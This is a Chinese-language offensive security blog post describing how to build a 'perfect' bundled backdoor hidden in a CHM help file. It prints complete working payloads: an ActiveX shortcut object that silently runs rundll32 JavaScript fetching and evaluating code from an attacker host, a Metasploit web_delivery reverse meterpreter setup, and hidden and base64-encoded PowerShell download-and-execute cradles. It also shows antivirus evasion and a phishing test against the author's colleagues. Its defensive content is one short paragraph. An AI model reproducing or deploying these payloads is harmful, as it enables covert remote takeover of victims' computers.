高級組合技打造「完美」 捆綁後門

0x00 簡介


以前寫過一篇關於客戶端釣魚的文章:《使用powershell Client進行有效釣魚》中,在使用各個Client進行測試的過程當中,我的發現CHM文件是最好用的一個,可是其缺點就是會彈黑框,這樣就會讓被攻擊者察覺。那麼怎麼讓他不彈黑框呢?那就是本文要介紹的內容啦~javascript

0x01 CHM 簡介


在介紹怎麼使用CHM來做爲後門以前,首先要知道CMH是什麼東西。html

CHM(Compiled Help Manual)即「已編譯的幫助文件」。它是微軟新一代的幫助文件格式,利用HTML做源文,把幫助內容以相似數據庫的形式編譯儲存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常見圖形文件(GIF、JPEG、PNG)、音頻視頻文件(MID、WAV、AVI)等等,並能夠經過URL與Internet聯繫在一塊兒。由於使用方便,形式多樣也被採用做爲電子書的格式。java

0x02 CHM 製做


CHM的製做方法不少。有多款工具可使用,這裏就不在作詳細的介紹了。本次測試使用了EasyCHM來製做CHM文件,使用起來很是簡單。python

新建以下目錄,文件內容隨意:git

打開EasyCHM,新建->瀏覽。選擇該目錄。默認文件類型:github

點擊確認,便可看到預覽的CHM文件:web

選擇編譯,便可編譯成CHM文件。shell

0x03 CHM Execute Command


14年的時候@ithurricanept 在twitter上發了一個demo,經過CHM運行計算器:數據庫

 

利用代碼以下:windows

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=',calc.exe'>
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

 將以上代碼寫入html,置於工程目錄進行編譯,生成CHM文件,運行此文件,彈出計算器:

0x04 去除彈框


有測試過nishang Out-CHM 的同窗會發現,運行生成的CHM文件的時候會看到明顯的彈框。就像

某個晚上忽然腦洞了一下,想到了一個好的方式來讓他不顯示彈框,即結合使用JavaScript Backdoor。通過測試,成功實如今不彈框的狀況下獲取meterpreter會話,這次測試使用一個我修改過的python版 JSRat.ps1 ,地址爲:MyJSRat。使用方式詳見 readme。

如下爲完整的測試過程:

一、結合CHM + JSBackdoor

使用交互模式的JSRat server:

python MyJSRat.py -i 192.168.1.101 -p 8080

 

訪問 http://192.168.1.101:8080/wtf 獲取攻擊代碼以下:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

 通過屢次測試,成功將以上命令寫入chm,其Html代碼爲:

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
This is a demo ! <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

 編譯之後運行,能夠成功獲取JS交互shell:

直接執行cmd /c command 是會有黑框的,可使用run來避免顯示黑框。執行run之後,輸入 whoami > e:\1.txt 以後經過read 來獲取回顯。

 

二、獲取meterpreter會話

這次測試獲取meterpreter會話的方式是經過執行powershell命令,直接獲取,當獲取客戶端JS 交互shell以後自動執行powershell命令,獲取meterpreter會話。具體操做以下:

開啓MSF web_delivery:

~  msfconsole -Lq
msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set target 2
target => 2
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set lhost 192.168.1.101
lhost => 192.168.1.101
msf exploit(web_delivery) > set lport 6666
lport => 6666
msf exploit(web_delivery) > set SRVPORT 8081
SRVPORT => 8081
msf exploit(web_delivery) > set uripath /
uripath => /
msf exploit(web_delivery) > exploit
[*] Exploit running as background job.
msf exploit(web_delivery) >
[*] Started reverse TCP handler on 192.168.1.101:6666
[*] Using URL: http://0.0.0.0:8081/
[*] Local IP: http://192.168.1.101:8081/
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');

 裝有powershell的客戶端執行如下命令則可獲取meterpreter會話:

powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');

 因爲存在特殊字符,咱們能夠把以上代碼編碼爲base64格式,將如下代碼存入power.txt

$n=new-object net.webclient;
$n.proxy=[Net.WebRequest]::GetSystemWebProxy();
$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
IEX $n.downloadstring('http://192.168.1.101:8081/');

 執行如下命令:

cat power.txt | iconv --to-code UTF-16LE |base64

 

最終要執行的powershell命令爲:

powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA

 使用執行命令模式直接獲取meterpreter會話:

python MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAb

 測試過程當中,從運行CHM到獲取meterpreter,客戶端無明顯異常,全程無黑框彈出,獲取到meterpreter會話以下圖:

 

三、是否被殺?

可能不少人會問,會不會被殺,下面是virscan的查殺結果:

http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba

0x05 利用場景

一張圖說明(讓我猜猜你會不會點):

注: 隨便找了幾個漏洞利用工具修改了文件名,並不表明原做者分享的工具備問題。

 

0x06 實際測試

 


 

是用上述方式製做chm文件,命名爲一個比較有吸引力的名字,好比在公司技術羣發了一個名字爲"製做免殺後門.chm"的文件,實際測試結果以下圖:

成功獲取多我的的meterpreter會話。

0x07 防護


目前我還沒查到什麼防護的姿式,知道的小夥伴能夠分享一下。最好就是提升我的安全意識,對於這類文件,多注意一下,儘可能別亂點,若是非要點,能夠放到虛擬機裏面。使用procexp.exe能夠看到存在後門的chm文件會開啓新的進程:

對於碰到這種後門,怎麼溯源呢,其實也很簡單,chm是能夠反編譯爲html的。 使用windows自帶的hh.exe 則可進行反編譯。命令以下:

C:\Users\evi1cg\Desktop>hh -decompile test poc.chm #test 爲當前目錄的test文件夾

 執行結果以下:

 

0x08 小結


這次測試就是對一些已知的攻擊手法進行結合,結果是讓此捆綁後門更加隱蔽,近乎「完美」,美中不足的是在文件開啓的時候會出現短暫的卡頓。有時候小漏洞結合起來能形成大危害,小手法結合起來也能成大殺器。本着分享的精神將此姿式介紹,但願小夥伴們能免受其害。

0x09 參考


  1. https://twitter.com/ithurricanept/status/534993743196090368
  2. https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1
  3. http://drops.wooyun.org/tips/11764
  4. https://github.com/samratashok/nishang

本文由evi1cg原創並首發於烏雲drops

相關文章
相關標籤/搜索